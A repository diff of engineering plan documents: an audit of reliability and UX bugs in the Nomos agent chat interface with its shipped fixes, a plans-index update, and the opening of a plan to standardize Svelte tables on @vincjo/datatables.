- The activity timeline (`activity.ts:119-185`) groups tools under a plan step
|
||||
by *inferring* `currentStepSeq` from `update_plan_step` calls in the message
|
||||
stream. Two interleaved turns make that inference wrong → tools land under the
|
||||
wrong step, steps appear to nest/parallelize that never did, the sequence
|
||||
reads as garbage. This is the "parallel runs / nesting / no clear sequence"
|
||||
report.
|
||||
- Two turns appending to the same session's messages is also the source of the
|
||||
duplicate-tool-call/empty-response class of bugs the prior plan docs keep
|
||||
patching individually.
|
||||
|
||||
**This is why the experience "felt flaky and disconnected" and "the task didn't
|
||||
end":** the panel is faithfully rendering a corrupted, interleaved event stream.
|
||||
|
||||
### Fix (proposed)
|
||||
|
||||
1. **One in-flight turn per session, server-side.** Add a per-`sessionID`
|
||||
turn mutex (a `sync.Map[string]*singleflight` or a keyed `sync.Mutex`) in
|
||||
`handleChat`/`resumeSession`/`continue.go`. A second attempt to start a turn
|
||||
for a session that already has one running must **queue** (preferred — the
|
||||
operator's message waits its turn) or **return 409 "turn in progress"** (the
|
||||
frontend then just re-polls; no new goroutine). This single change removes
|
||||
the interleaving that drives F2/F3/F8.
|
||||
2. **Make the empty-message reconnect a no-op when a turn is already running.**
|
||||
Today it *always* spawns `resumeSession`. Gate it on "is any turn active for
|
||||
this session?" — if yes, return 202 and let the existing turn + the poller do
|
||||
the work. A blip should never *create* work.
|
||||
|
||||
---
|
||||
|
||||
## F2 — Reconnect spawns a new turn and surfaces raw, non-actionable errors
|
||||
|
||||
`chat.ts:383-426` `handleDisconnect`: on a dropped SSE it sets
|
||||
`connectionState='disconnected'`, starts the 3s poller, shows
|
||||
`"Agent connection lost. The task is still running — retrying…"`, then calls
|
||||
`streamChat('', sid, …)` up to 3× — each of which is the empty-message POST that
|
||||
triggers F1's new `resumeSession` goroutine. Separately, the LLM stream errors
|
||||
surface verbatim: `agent.go:388` does `emitError("llm: %v", err)`, so an
|
||||
OpenRouter transport break reaches the operator as `llm: error in input stream:
|
||||
…` (the openai-go SDK's SSE-reader text), shown raw in `ChatThread`'s error bar.
|
||||
|
||||
Combined with F1, this is the exact "messages not actionable and not
|
||||
self-resolving" + "task didn't end" experience: a blip both invents a duplicate
|
||||
turn and paints a scary, unfixable error that lingers.
|
||||
|
||||
Secondary defects in the same path:
|
||||
|
||||
- `streaming` stays `true` for the entire reconnect window, so the composer is
|
||||
disabled and the poller's `if (streaming && connected) return` guard
|
||||
(`chat.ts:177`) suppresses updates except while disconnected — fragile.
|
||||
- The **per-window** error path (`sendSessionMessage`, `startTask`) does **not**
|
||||
auto-reconnect at all — it only polls. Its `onReconnect` in
|
||||
`SessionChatWindow.svelte:110` is `() => loadSessionChat(sessionId)`, which
|
||||
just *re-fetches the transcript* and never re-attaches to a live stream. And
|
||||
the global `reconnect()` (`chat.ts:428`) keys off the **global**
|
||||
`currentSession`, so a floating window's Reconnect button can target the wrong
|
||||
session. Two different, both-broken reconnect behaviors.
|
||||
|
||||
### Fix (proposed)
|
||||
|
||||
1. **Stop the empty-message-reconnect from creating turns** (depends on F1.2).
|
||||
Reconnect should mean "catch up," not "run more."
|
||||
2. **Humanize + bucket error strings.** Map known transport errors to
|
||||
operator-readable, actionable copy with a single primary action:
|
||||
- `llm: …input stream…` / 502/503/timeout → "The model connection dropped.
|
||||
The task is still running in the background — it'll catch up
|
||||
automatically." (auto-dismiss when the next event/poll lands)
|
||||
- `HTTP 401/403` → "Session expired — reconnect." (action: re-auth)
|
||||
- unknown → show the raw text but behind a "Details" toggle, not as the
|
||||
headline.
|
||||
3. **Make errors self-resolving.** Clear the error + connection-lost banner the
|
||||
moment the poller sees a newer message or any live event for the session
|
||||
arrives (wire `eventsConnected` / a session-scoped event into the banner's
|
||||
visibility). Today the banner stays until manual dismiss even after recovery.
|
||||
4. **Unify reconnect.** One `reconnect(sessionId)` that (a) re-fetches the
|
||||
transcript, (b) if no turn is active, is a pure no-op refresh; used by both
|
||||
the main view and windows. Drop the global-`currentSession` coupling.
|
||||
|
||||
---
|
||||
|
||||
## F3 — The UI can't tell when a turn truly ended (so it never looks "done")
|
||||
|
||||
When the SSE stream ends without a `done` event, `streamChat`'s `onDone`
|
||||
(`chat.ts:355-368`) calls `handleDisconnect`. Even if the backend turn then
|
||||
finishes and persists its final message, the frontend only learns via the 3s
|
||||
poller re-setting `messages` — but nothing transitions `streaming`→`false` or
|
||||
`connectionState`→`connected` from that path, so the spinner/indicator and the
|
||||
"connection lost" banner can persist indefinitely. That is "the task didn't
|
||||
end / backend connection was lost."
|
||||
|
||||
The backend does emit a terminal signal — `task.status` events on
|
||||
`complete_task`/auto-complete (`workspace.ts:82-88` `STATUS_AFFECTING`) — but
|
||||
nothing in the chat store reacts to a terminal `task.status` to force
|
||||
`streaming=false` + clear the banner. The signal exists; the chat ignores it.
|
||||
|
||||
### Fix (proposed)
|
||||
|
||||
1. **Treat a terminal `task.status` (done/failed) for the viewed session as
|
||||
authoritative end-of-turn** in `chat.ts`: set `streaming=false`,
|
||||
`connectionState='connected'`, dismiss any connection-lost error. The poller
|
||||
already refreshes messages; this just closes the loop on the *state* flags.
|
||||
2. **Add a `task.completed` / `turn.ended` SSE event** from the backend on every
|
||||
terminal path (today `done` is a chat-stream-only event; background turns
|
||||
have no equivalent). The always-on events stream already reaches the panel —
|
||||
route the same signal to the chat store so background-completed turns clear
|
||||
the UI without waiting on a poll.
|
||||
|
||||
---
|
||||
|
||||
## F4 — Command streaming isn't shown where the operator looks
|
||||
|
||||
Streaming **exists** (`execstream.ts` `liveExecutionOutputFor`, fed by
|
||||
`fetchExecutionLogs` via the always-on events stream) and the
|
||||
`UnifiedTimeline` **does** render `tool.liveOutput` with tail-pinned scroll
|
||||
(`UnifiedTimeline.svelte:451-457`). But:
|
||||
|
||||
- The **global** `activityLog` (`activity.ts:236`) — used by the main Chat page's
|
||||
panel — never calls `withLiveOutput`. Only the **per-window**
|
||||
`activityLogFor(sessionId)` (`activity.ts:271`) attaches live output. So the
|
||||
main chat view's timeline shows no streaming at all.
|
||||
- The **inline chat tool cards** — `ToolCallCard.svelte` (rendered inside
|
||||
`AgentTrace.svelte`) — show only args/result/error. They never read
|
||||
`liveOutput`. Expanding a running `run` call in the transcript (the natural
|
||||
place to "check the tool") shows nothing live; output appears all at once when
|
||||
the `tool_result` lands.
|
||||
|
||||
This is the report: "I expected checking on the tool to let me see the
|
||||
streaming."
|
||||
|
||||
### Fix (proposed)
|
||||
|
||||
1. **Wire live output into the global `activityLog`** so the main chat panel
|
||||
streams too (call `withLiveOutput` in the `activityLog` derivation, same as
|
||||
`activityLogFor`).
|
||||
2. **Show streaming in the inline tool card.** Pass the session's live-output
|
||||
store into `AgentTrace`/`ToolCallCard` (or attach `liveOutput` to the running
|
||||
`run` tool entry the way the timeline does) and render a tail-pinned `<pre>`
|
||||
while the call is `tool_use`/running. Reuse the UnifiedTimeline's scroll-pin
|
||||
pattern. Gated runs (queued-for-approval) should instead show a "queued —
|
||||
watch in entity detail" affordance (per `execstream.ts` header comment).
|
||||
|
||||
---
|
||||
|
||||
## F5 — Artifacts and knowledge referenced in chat aren't navigable
|
||||
|
||||
When the agent records knowledge, the activity panel shows `Recorded: <title>`
|
||||
(`activity.ts:188-203`) but it's plain text — no link. The backend already
|
||||
emits `knowledge.recorded` and links the note to the task
|
||||
(`store.go:1572 linkKnowledgeToTask`, `agent.go:594`), and the Wiki reader
|
||||
exists (`web/src/lib/components/knowledge/WikiReader.svelte`). Nothing connects
|
||||
them. Same for `get_entity`/`run` results: slugs and execution ids appear in
|
||||
tool output but aren't clickable to open the entity window or execution view.
|
||||
|
||||
### Fix (proposed)
|
||||
|
||||
1. **Make activity/tool entries link-bearing.** Add an optional
|
||||
`link?: { kind: 'knowledge'|'entity'|'execution', id: string }` to
|
||||
`ActivityEntry`. Populate it from `upsert_knowledge` (title→knowledge id from
|
||||
the result), `get_entity` (slug), and `run` (execution id). Render a
|
||||
clickable chip that opens the right surface: knowledge → Wiki reader (new tab
|
||||
/ window), entity → entity detail window, execution → execution log pane
|
||||
(already fetched by `EntityDetailContent.svelte`).
|
||||
2. **Render entity/knowledge mentions in assistant markdown as links** when they
|
||||
resolve to known slugs (lightweight: a post-process pass on rendered text, or
|
||||
let the model emit explicit `[slug](entity:…)` markers it already has tools to
|
||||
discover).
|
||||
|
||||
---
|
||||
|
||||
## F6 — "Thinking" is an unstable single-line headline, not a predictable trace
|
||||
|
||||
`ChatThread`'s `indicatorLabel` (`ChatThread.svelte:83-89`) returns the **first**
|
||||
running activity entry's description; `AgentTrace`'s `headline` mirrors it. As
|
||||
tools fire sequentially the running entry changes, so the one line rewrites
|
||||
itself every call — "the thinking overwrites itself." There is no persistent,
|
||||
additive reasoning surface, and no predictable turn structure (plan → steps →
|
||||
answer) the operator can learn to read. Claude-Code-style predictability is
|
||||
absent.
|
||||
|
||||
### Fix (proposed)
|
||||
|
||||
1. **A stable, additive per-turn reasoning block.** Keep the collapsed trace as
|
||||
a *summary* ("Step 2 of 4 · running `run`"), but when expanded show an
|
||||
**append-only** log of (a) the model's intermediate `text` (reasoning before
|
||||
each tool call — already emitted at `agent.go:458-460` and persisted) and
|
||||
(b) each tool call as a fixed row, instead of a single mutating headline.
|
||||
2. **Predictable turn shape.** Enforce/cue a consistent sequence in the UI —
|
||||
Goal → Plan → Steps (each with its tools nested) → Final answer — and render
|
||||
each phase as a stable section that fills in rather than a line that
|
||||
overwrites. The UnifiedTimeline already models most of this; surface the same
|
||||
model in the inline trace so chat and panel tell one story.
|
||||
|
||||
---
|
||||
|
||||
## F7 — Layout jumps when a chat goes from empty to content
|
||||
|
||||
`SessionChatWindow.svelte:58-63` gates the right rail on `hasContext`: empty
|
||||
task → `ChatThread` full-width; first activity/touched entity → switches to
|
||||
`Splitpanes` with the `TaskContextPanel` rail. The swap is instant and
|
||||
**reflows the chat column width** the moment the first event lands — "switching
|
||||
from empty to chat with something, the layout was off." Compounded by the
|
||||
`NewTaskChat` → real `SessionChatWindow` window-swap on first send
|
||||
(`NewTaskChat.svelte:17-22`).
|
||||
|
||||
### Fix (proposed)
|
||||
|
||||
1. **Reserve the rail's space from the start** (collapse to a thin sliver / icon
|
||||
rail when empty) instead of mounting it on demand, so adding content doesn't
|
||||
change the chat column width. Or animate the rail in.
|
||||
2. **Avoid the window swap on first send** — let the new-task window *become* the
|
||||
session window in place once the id is assigned (same component, swap the
|
||||
store source) rather than close+open.
|
||||
|
||||
---
|
||||
|
||||
## F8 — Activity/plan ordering & parallelism *(largely a symptom of F1)*
|
||||
|
||||
With F1 fixed (no interleaved turns) the heuristic step-grouping in
|
||||
`activity.ts` becomes reliable again. Remaining standalone items:
|
||||
|
||||
- The timeline is **newest-first** with ts-0 goal/pending parked at the bottom
|
||||
(`UnifiedTimeline.svelte:119-127`); for a long task this can read as
|
||||
"sequence is off." Consider an explicit **oldest-first / seq-ordered** mode
|
||||
toggle, and always show the step number prominently so order is unambiguous
|
||||
regardless of sort.
|
||||
- Background/auto-continued turns still rely on the 3s poller for their result
|
||||
to appear; until F3's terminal event lands, the panel can lag. The
|
||||
always-on events stream already carries `plan.*` and `entity.touched` live —
|
||||
extend it to carry per-tool `tool.*` deltas for background turns so the panel
|
||||
is live, not polled, during autonomous work.
|
||||
|
||||
---
|
||||
|
||||
## Recommended sequence
|
||||
|
||||
| Order | Item | Why first |
|
||||
|---|---|---|
|
||||
| 1 | **F1** per-session turn mutex + no-op reconnect-when-busy | Removes the interleaving that is the root cause of F2/F3/F8 symptoms; everything else is cosmetics on top of a corrupted stream. |
|
||||
| 2 | **F3** terminal-event → clear chat state | Once turns can't double, make "the task ended" unambiguous so the UI stops lingering. |
|
||||
| 3 | **F2** humanized/self-resolving errors + unified reconnect | Turns the scary, sticky "connection lost / input stream" into recoverable, auto-clearing UX. |
|
||||
| 4 | **F4** streaming in the global log + inline tool card | Highest-visibility "I can't see what it's doing" fix; small, isolated change. |
|
||||
| 5 | **F6** stable additive reasoning trace | Predictability of the interaction model (the Claude-Code feel). |
|
||||
| 6 | **F5** artifact/knowledge deep links | Navigation completeness. |
|
||||
| 7 | **F7** layout stability | Polish. |
|
||||
| 8 | **F8** ordering mode + live background deltas | Polish, partly free after F1. |
|
||||
|
||||
## Verification hooks (when implementing)
|
||||
|
||||
- `cmd/nomos`: a test that starts two turns for the same session and asserts the
|
||||
second queues/is-rejected (no interleaved `tool_use` order in persisted
|
||||
messages).
|
||||
- `web/src/lib/stores`: extend `activity.test.ts`/`execstream.test.ts` — global
|
||||
`activityLog` now carries `liveOutput`; tool-card live output renders while
|
||||
`tool_use` and clears on `tool_result`.
|
||||
- A reconnect/integration test: drop the SSE mid-turn, assert (a) no duplicate
|
||||
`resumeSession` goroutine, (b) banner auto-clears on next event, (c)
|
||||
`streaming` returns to false on terminal `task.status`.
|
||||
|
||||
---
|
||||
|
||||
## Note on method
|
||||
|
||||
This audit was done against the **code paths** behind the reported symptoms, not
|
||||
a single session transcript (no MCP/DB access from this session). To tie a
|
||||
specific finding to a specific past session, pull the session via
|
||||
`docker exec oikos-postgres-1 psql -U oikos oikos -c "select id,goal,outcome
|
||||
from agent_sessions order by last_active_at desc limit 5"` and cross-reference
|
||||
its `agent_activity` rows / persisted messages against the F1 interleaving
|
||||
signature (two assistant turns' tool ids interleaved in one message shell).
|
||||
|
||||
---
|
||||
|
||||
## Resolution (2026-08-03)
|
||||
|
||||
Implemented F1–F7 in v0.15.0 (`VERSION 0.14.2 → 0.15.0`). F8 deferred (its
|
||||
primary symptom — interleaved/out-of-order entries — is removed by F1; the
|
||||
ordering toggle and live background tool-delta streaming remain as nice-to-
|
||||
haves).
|
||||
|
||||
| Item | What shipped | Where |
|
||||
|---|---|---|
|
||||
| **F1** | Per-session single-flight turn gate (`turnGate`): at most one in-flight turn per session. Background resume paths (`resumeSession` — covers the continuation worker, idle sweep, answer-question, /resume, and the empty-message reconnect) skip non-blocking when busy; the live chat path waits briefly then bails with an actionable error instead of stacking a second turn. | `cmd/nomos/turngate.go` (+`turngate_test.go`), wired in `agent.go` (struct/init), `continue.go` (`resumeSession`), `main.go` (`handleChat`). |
|
||||
| **F3** | Terminal `task.status` events (done/failed/abandoned/awaiting_input) now clear a stuck chat view's `streaming`/`connectionState` and dismiss the connection-lost toasts — the authoritative "turn ended" signal the UI was ignoring. Poller safety net catches the edge where the event fired during the disconnect window. | `web/src/lib/stores/chat.ts` (`clearTurnState`, liveEvents subscription, `startSessionPolling`). |
|
||||
| **F2** | Raw errors humanized ("The model connection dropped. The task keeps running…") and bucketed; one connection surface per drop (not banner+toast+raw error); errors self-clear via F3. The turn-spawning reconnect attempt loop is gone (dead global path simplified to a turn-free refresh); window "Reconnect" re-fetches + resets state. | `web/src/lib/stores/chat.ts` (`humanizeChatError`, error handlers, `loadSessionChat`, `handleDisconnect`/`reconnect`), `web/src/lib/components/ChatThread.svelte` (banner copy). |
|
||||
| **F4** | Command streaming now shows (a) in the **global** activity timeline (live output wired into `activityLog`, was only per-window) and (b) in the **inline chat tool card** — expanding a running `run` shows live output auto-opened and tail-pinned. | `web/src/lib/types.ts` (`liveOutput`), `web/src/lib/stores/activity.ts` (`currentLiveOutput`), `web/src/lib/components/ChatThread.svelte` (`toolsWithLive`), `web/src/lib/components/ToolCallCard.svelte`. |
|
||||
| **F6** | The "thinking" headline is now step-first (stable across a step's many tool calls) instead of rewriting per command; falls back to the current tool / "thinking…" only when no step is active. | `web/src/lib/components/ChatThread.svelte` (`indicatorLabel`). |
|
||||
| **F5** | Activity entries now carry a deep link: recorded knowledge docs and `get_entity` lookups get an "open artifact" chip that opens the entity/knowledge window directly. | `web/src/lib/stores/activity.ts` (`link`, `knowledgeLinkFromResult`, `entityLinkFromArgs`), `web/src/lib/components/UnifiedTimeline.svelte`. |
|
||||
| **F7** | The empty→content layout reflow is gone: `SessionChatWindow` now has one stable `Splitpanes`+`ChatThread` from open (no more destroy/remount of the thread or column reflow when the rail appears). | `web/src/lib/components/SessionChatWindow.svelte`. |
|
||||
|
||||
**Verification:**
|
||||
- `go test ./cmd/nomos/` green (incl. new `turngate_test.go`: non-blocking skip,
|
||||
blocking-waits-for-release, timeout, and a 50-goroutine single-flight
|
||||
concurrency test asserting max in-flight = 1). `go vet` clean.
|
||||
- Web `vitest` 70/70 green (incl. `activity.test.ts`/`execstream.test.ts`); the
|
||||
`activity.test.ts` chat mock gained `currentSession` for the new
|
||||
`currentLiveOutput` derivation.
|
||||
- `vite build` succeeds (all Svelte components compile). Pre-existing `tsc`
|
||||
strictness errors in unrelated files (`ui/*`, `oidc.ts`, `windows.ts`,
|
||||
`workspace.ts`) are unchanged; no new errors in any touched file.
|
||||
|
||||
**Follow-ups (not in this pass):**
|
||||
- F8: oldest-first ordering toggle; emit per-tool `tool.*` events on the
|
||||
always-on stream during background `resumeSession` turns so the panel is live
|
||||
(not 3s-polled) during autonomous work.
|
||||
- F5: `run` execution deep-links (open the entity detail's execution pane) —
|
||||
needs an execution-view opener; knowledge/entity links shipped first as the
|
||||
explicit complaint.
|
||||
- F7: the `NewTaskChat → SessionChatWindow` window-swap on first send (a
|
||||
windows.ts open/close) still causes a brief flash; an in-place handoff
|
||||
(same window, swap store source) would remove it.
|
||||
@@ -18,7 +18,11 @@ went sideways, open an investigation.
|
||||
| 2026-07-14 | [Activity timeline](2026-07-14-activity-timeline.md) | In Progress |
|
||||
| 2026-07-17 | [Codebase review, lint audit, and documentation maintenance](2026-07-17-codebase-review-and-cleanup.md) | Report delivered — doc/tooling fixes applied; code refactors pending |
|
||||
| 2026-07-18 | [Session review: three recent sessions](2026-07-18-session-review-three-sessions.md) | Implemented in v0.7.12 — P0.1/P0.2/P1.3/P1.4/P1.5/P1.6/P1.8/P2.10; P1.7 and P2.9 deferred (retry cap covers) |
|
||||
| 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Planned — not started |
|
||||
| 2026-07-20 | [Desktop mascot ("Cluck")](2026-07-20-desktop-mascot.md) | Implemented in v0.8.0 — see deviation note; physics/window-interaction follow-ups tracked separately |
|
||||
| 2026-07-20 | [Session review: past 10 sessions](2026-07-20-session-review-ten-sessions.md) | Implemented in v0.7.13 — all P0/P1/P2 items landed |
|
||||
| 2026-07-20 | [Mascot physics/window-interaction audit](2026-07-20-mascot-physics-audit.md) | P0–P2 implemented; P3 ("cool stuff") ideas open |
|
||||
| 2026-07-21 | [Frontend as OS + Apps — architecture audit & refactor](2026-07-21-frontend-os-apps-architecture.md) | Planned — Phase 1 ready |
|
||||
| 2026-08-03 | [Nomos chat: reliability & predictability audit](2026-08-03-nomos-chat-reliability-and-ux-audit.md) | In Progress — F1–F7 shipped in v0.15.0; F8 + follow-ups open |
|
||||
|
||||
## Done
|
||||
|
||||
|
||||
403
plans/tables.md
Normal file
403
plans/tables.md
Normal file
@@ -0,0 +1,403 @@
|
||||
# Table & Component Standardization Plan
|
||||
|
||||
## 0. Motivation
|
||||
|
||||
The app currently has **5 table implementations**, each hand-writing `<Table.Root>` boilerplate
|
||||
from scratch. The shadcn-svelte `Table.*` primitives (`web/src/lib/components/ui/table/`) are
|
||||
purely presentational wrappers — no sorting, filtering, pagination, row selection, or search.
|
||||
Every page reinvents sort arrows, empty states, loading skeletons, badge color maps, formatting
|
||||
utilities, and tab patterns independently.
|
||||
|
||||
**Goal:** One `DataTable` abstraction that declaratively renders *every* table in the app,
|
||||
built on `@vincjo/datatables` (headless data-handling) with shadcn-svelte visuals and custom
|
||||
column/renderer composability.
|
||||
|
||||
**Also:** Use this migration as leverage to standardize the component surface — extract
|
||||
repeated patterns into shared primitives so the codebase contracts rather than accumulating
|
||||
yet another abstraction.
|
||||
|
||||
---
|
||||
|
||||
## 1. Audit Summary
|
||||
|
||||
### 1.1 Tables in the App
|
||||
|
||||
| # | Page / Component | File | LOC | Features (what it has) | Gaps (what it's missing) |
|
||||
|---|---|---|---|---|---|
|
||||
| 1 | `EntityTable.svelte` | `web/src/lib/components/` | 265 | Sort (5 cols), treegrid grouping, collapsible nesting, row selection, keyboard nav, loading skeleton, health dots | Pagination, search, column toggle, checkbox select |
|
||||
| 2 | `Overview.svelte` | `web/src/pages/` | 125 | Filter pills (all/running/input/done/failed), sticky header, responsive cols, animated status dots | Plain `<table>` (no shadcn), no sort, no pagination |
|
||||
| 3 | `Ops.svelte` — 3 tables | `web/src/pages/` | 240 | Inline approve/deny actions, risk/status badges, cancel button, duration formatting (`fmtDuration`), relative time (`fmtWhen`) | No sort, no pagination, no search |
|
||||
| 4 | `Signals.svelte` | `web/src/pages/` | 171 | Tab filter (open/muted/resolved), severity dropdown, inline Ack/Mute/Resolve actions, badge colors | No sort, no pagination |
|
||||
| 5 | Markdown tables | `ChatThread.svelte`, `EntityDetailContent.svelte` | CSS-only | Prose-styled `<table>` for AI output | No interactive features (by design) |
|
||||
|
||||
### 1.2 Repeated Patterns (duplicated per-page)
|
||||
|
||||
| Pattern | Occurrences | Where |
|
||||
|---|---|---|
|
||||
| Sort header with arrow icons | 1 (closed set in `EntityTable`) | Only EntityTable has sort; Ops/Signals/Overview don't bother |
|
||||
| `riskVariant()` / `severityVariant()` / `stateVariant()` / `execStatusVariant()` | 6 | Ops.svelte ×2, Signals.svelte ×1, EntityTable.svelte ×2, Knowledge.svelte ×1 |
|
||||
| `fmtWhen()` / `relTime()` inline relative-time formatting | 3 | Ops.svelte, Knowledge.svelte (both inline; utils.ts has `relativeTime` already) |
|
||||
| `<Table.Root> > <Table.Header> > <Table.Row> > <Table.Head>` boilerplate | 6 | Every table page |
|
||||
| Empty state `<Table.Cell colspan={N}>No ...</Table.Cell>` | 6 | Every table page |
|
||||
| `<Tabs.Root> > <Tabs.List> > <Tabs.Trigger>` with badge counts | 2 | Ops.svelte, Signals.svelte |
|
||||
| Loading skeleton | 2 | EntityTable.svelte (custom widths), EntityDetailContent.svelte |
|
||||
|
||||
### 1.3 Current Tech Stack
|
||||
|
||||
| Layer | What | Version |
|
||||
|---|---|---|
|
||||
| Framework | Svelte 5 (runes mode) | ^5.0.0 |
|
||||
| UI primitives | shadcn-svelte (local copies in `ui/`) | — |
|
||||
| Headless backing | bits-ui | ^2.18.1 |
|
||||
| CSS | Tailwind v4 (CSS-first config, no PostCSS) | ^4.3.2 |
|
||||
| Variant system | tailwind-variants | ^3.2.2 |
|
||||
| Icons | @lucide/svelte | ^1.23.0 |
|
||||
| Table library | **none** | — |
|
||||
|
||||
---
|
||||
|
||||
## 2. `@vincjo/datatables` — Why This Library
|
||||
|
||||
**Headless.** It provides a `TableHandler` class that handles client-side pagination,
|
||||
sorting, searching, filtering, column visibility, and row selection — all as runes.
|
||||
Rendering is entirely up to us. This pairs perfectly with shadcn-svelte visual styling.
|
||||
|
||||
**API surface (what we care about):**
|
||||
- `new TableHandler(data)` — instantiate with reactive data
|
||||
- `table.rows` — **rune** that reflects current page/filter/sort (auto-tracked by Svelte 5)
|
||||
- `table.rowCount`, `table.pageCount`, `table.currentPage`, `table.pages`, `table.pagesWithEllipsis`
|
||||
- `table.setRows(data)`, `table.setRowsPerPage(n)`, `table.setPage('next'|'previous'|int)`
|
||||
- `table.createSort()`, `table.createSearch()`, `table.createFilter()`, `table.createView()`
|
||||
- `table.select(id)`, `table.selectAll()`, `table.selected`, `table.isAllSelected`
|
||||
- `table.createCSV()`, `table.createCalculation()`, `table.createRecordFilter()`
|
||||
|
||||
**No dependencies.** Lightweight. TypeScript-native. SSR friendly (even though we're SPA).
|
||||
|
||||
### What it does NOT do (and that's fine)
|
||||
- No rendering. We build the UI ourselves — use shadcn-svelte primitives.
|
||||
- No server-side pagination — if we need that later, the library has a separate server-side API.
|
||||
- No column ordering — we don't need drag-and-drop reorder; we use `createView()` for visible/hidden.
|
||||
|
||||
---
|
||||
|
||||
## 3. Architecture Plan
|
||||
|
||||
### 3.1 New Core Component: `DataTable.svelte`
|
||||
|
||||
```
|
||||
web/src/lib/components/data-table/
|
||||
├── DataTable.svelte # The main table component
|
||||
├── DataTable.svelte.ts # TypeScript type definitions
|
||||
├── columns.ts # Column definition helpers
|
||||
├── renderers/ # Built-in cell renderers
|
||||
│ ├── BadgeRenderer.svelte
|
||||
│ ├── HealthDotRenderer.svelte
|
||||
│ ├── RelativeTimeRenderer.svelte
|
||||
│ └── DateRenderer.svelte
|
||||
├── pagination/ # Pagination UI
|
||||
│ ├── Pagination.svelte
|
||||
│ ├── PageButton.svelte
|
||||
│ └── RowsPerPage.svelte
|
||||
├── sort-header.svelte # Sortable column header with arrow icons
|
||||
├── search-input.svelte # Text search input
|
||||
└── toolbar.svelte # Top toolbar (search + filter + page size)
|
||||
```
|
||||
|
||||
### 3.2 `DataTable` API (declarative, Svelte 5 runes)
|
||||
|
||||
```svelte
|
||||
<script lang="ts">
|
||||
import DataTable from '$lib/components/data-table/DataTable.svelte'
|
||||
import type { DataTableColumn } from '$lib/components/data-table/DataTable.svelte'
|
||||
|
||||
let data = $state<MyRow[]>([])
|
||||
let selected = $state<Set<string>>(new Set())
|
||||
|
||||
const columns: DataTableColumn<MyRow>[] = [
|
||||
{ key: 'slug', header: 'Slug', sortable: true, class: 'font-mono text-xs' },
|
||||
{ key: 'type', header: 'Type', sortable: true, render: 'badge' },
|
||||
{ key: 'health', header: 'Health', sortable: true, render: 'health-dot', accessor: (r) => r },
|
||||
{ key: 'actions', header: '', sortable: false, render: (row) => component /* snippet or component */ },
|
||||
]
|
||||
</script>
|
||||
|
||||
<DataTable
|
||||
{columns}
|
||||
{data}
|
||||
bind:selected
|
||||
pageSize={20}
|
||||
searchable
|
||||
paginated
|
||||
sortKey="slug"
|
||||
sortDir="asc"
|
||||
loading
|
||||
emptyMessage="No items."
|
||||
>
|
||||
<!-- optional slot for toolbar actions -->
|
||||
</DataTable>
|
||||
```
|
||||
|
||||
### 3.3 Column System
|
||||
|
||||
A `DataTableColumn<T>` is:
|
||||
|
||||
```typescript
|
||||
type ColumnRenderer<T> =
|
||||
| 'badge' // wraps value in <Badge variant="outline">
|
||||
| 'health-dot' // colored dot + relative time
|
||||
| 'relative-time' // relativeTime(val)
|
||||
| 'date' // new Date(val).toLocaleString()
|
||||
| Component // any Svelte component, receives { row, value }
|
||||
| ((row: T) => any) // raw value formatter
|
||||
| undefined // raw value
|
||||
```
|
||||
|
||||
Built-in renderers cover badge colors, health dots, timestamps — eliminating the 6
|
||||
inline `riskVariant()`/`severityVariant()`/`stateVariant()` copies. Custom components
|
||||
cover action buttons and complex cells.
|
||||
|
||||
### 3.4 What ships with the table
|
||||
|
||||
| Feature | How | Default |
|
||||
|---|---|---|
|
||||
| Sorting | Click column header → `createSort()` | Yes, if `sortable: true` |
|
||||
| Pagination | `table.pages` + `Pagination` component | Optional (`paginated` prop) |
|
||||
| Text search | `search-input.svelte` → `createSearch()` | Optional (`searchable` prop) |
|
||||
| Column visibility | `createView()` → dropdown toggle | Not in v1 (add later) |
|
||||
| Row selection | Checkbox column → `table.select()` | Optional (`bind:selected`) |
|
||||
| Loading state | Skeleton rows via `loading` prop | Yes |
|
||||
| Empty state | Configurable `emptyMessage` | Yes |
|
||||
| Tree/grouping | `childToParent` prop → recursive rows | EntityTable-only feature |
|
||||
| CSV export | `table.createCSV()` → download button | Not in v1 (add later) |
|
||||
| Server-side pagination | `handlePageChange` callback | Not needed yet |
|
||||
|
||||
---
|
||||
|
||||
## 4. Standardized Shared Components
|
||||
|
||||
Extract the repeated patterns discovered in the audit into shared components:
|
||||
|
||||
### 4.1 `StatusBadge.svelte`
|
||||
**Replaces:** 6 copies of `riskVariant()`, `severityVariant()`, `stateVariant()`, `execStatusVariant()`
|
||||
|
||||
```svelte
|
||||
<script lang="ts">
|
||||
let { value, kind = 'state' }: { value: string; kind?: 'risk' | 'severity' | 'state' | 'execution' } = $props()
|
||||
// Resolves variant mapping from kind + value
|
||||
</script>
|
||||
```
|
||||
|
||||
### 4.2 `EmptyState.svelte`
|
||||
**Replaces:** 6 `<Table.Cell colspan={N}>No ...</Table.Cell>` blocks
|
||||
|
||||
```svelte
|
||||
<script lang="ts">
|
||||
let { message = 'No items.', colspan = 999, icon = null } = $props()
|
||||
</script>
|
||||
```
|
||||
|
||||
### 4.3 `RelativeTime.svelte`
|
||||
**Replaces:** `Oks.svelte:58` (`fmtWhen`), `Knowledge.svelte:49` (`relTime`)
|
||||
**Consolidates:** Already exists as `relativeTime()` in `utils.ts` — wrap in a component that auto-updates.
|
||||
|
||||
### 4.4 `FilterTabs.svelte`
|
||||
**Replaces:** `Ops.svelte:114-120` and `Signals.svelte:153-159` (Tabs.Root boilerplate with badge counts)
|
||||
|
||||
```svelte
|
||||
<script lang="ts">
|
||||
let { tabs, value = $bindable(''), class, children }: {
|
||||
tabs: { value: string; label: string; count?: number }[];
|
||||
value?: string;
|
||||
class?: string;
|
||||
children?: any;
|
||||
} = $props()
|
||||
</script>
|
||||
```
|
||||
|
||||
### 4.5 `PageHeader.svelte`
|
||||
**Replaces:** Every page's `<h1 class="text-lg font-semibold">...</h1>` + optional actions row.
|
||||
|
||||
---
|
||||
|
||||
## 5. Migration Sequence (ordered for incremental delivery)
|
||||
|
||||
### Phase 1 — Library & Foundation (~1 PR)
|
||||
|
||||
1. **Install `@vincjo/datatables`**
|
||||
```
|
||||
npm install -D @vincjo/datatables
|
||||
```
|
||||
|
||||
2. **Build `DataTable.svelte` + `DataTable.svelte.ts` + `columns.ts`**
|
||||
- Core loop: `{#each table.rows as row}` + column render dispatch
|
||||
- Pagination sub-components: `Pagination.svelte`, `PageButton.svelte`, `RowsPerPage.svelte`
|
||||
- `SortHeader.svelte` — click to sort, arrow icons (extract from `EntityTable:163-178`)
|
||||
- `SearchInput.svelte` — debounced text search
|
||||
|
||||
